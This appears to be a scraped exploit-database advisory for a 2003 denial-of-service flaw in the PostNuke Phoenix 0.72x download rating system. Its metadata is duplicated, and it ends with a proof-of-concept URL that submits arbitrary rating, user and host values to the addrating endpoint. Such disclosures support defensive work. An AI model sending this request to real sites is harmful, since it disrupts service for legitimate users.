PostNuke Phoenix 0.72x - Rating System Denial of Service
| EKU-ID: 28136 | CVE: OSVDB-5500 | OSVDB-ID: |
| Author: Lorenzo Manuel Hernandez Garcia-Hierro | Published: 2003-05-26 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 28136 | CVE: OSVDB-5500 | OSVDB-ID: |
| Author: Lorenzo Manuel Hernandez Garcia-Hierro | Published: 2003-05-26 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
source: https://www.securityfocus.com/bid/7702/info some submissions to the rating system. Because of this, a remote attacker may be able to submit a string that causes a denial of service to legitmate users. http://www.example.com/modules.php?op=modload&name=Downloads&file=index&req=addrating&ratinglid=[DOWNLOAD ID]&ratinguser=[REMOTE USER]&ratinghost_name=[REMOTE HOST ;-)]&rating=[YOUR RANDOM CONTENT]